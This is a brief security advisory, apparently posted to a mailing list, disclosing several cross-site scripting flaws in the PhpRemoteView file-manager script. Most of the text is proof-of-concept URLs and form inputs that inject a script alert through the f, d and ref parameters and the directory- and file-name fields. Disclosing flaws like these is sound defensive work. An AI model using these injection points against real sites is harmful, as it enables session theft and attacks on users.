---------------------------------------------

 PhpRemoteView Multiple Xss Vulnerabilities

---------------------------------------------

 

 Site:

   

  http://php.spb.ru/remview/ 


 Bug:

 

  1- http://victim/path/PRV.php?&c=v&d=[path]&f=";><script>alert(/Soot/)</script>


  2- http://victim/path/PRV.php?c=l&d=";><script>alert(/Soot/)</script>


  3-

http://victim/path/PRV.php?c=setup&ref=";><script>alert(/Soot/)</script>


  4-http://victim/path/PRV.php?c=d&d=[path]

    MAKE DIR (type full path) : "><script>alert(/Soot/)</script>


  5-http://victim/path/PRV.php?c=d&d=[path]

    Full file name : "><script>alert(/Soot/)</script>


---------------------------------------------

 Source :

  http://soot.shabgard.org/bugs/phpremoteview.txt


 Credit :

  Soot 

  Shabgard Security Team

  http://www.shabgard.org 


 Greetz : 

  Hregy,Elite,Bl2k,Littlehacker

---------------------------------------------

Reply via email to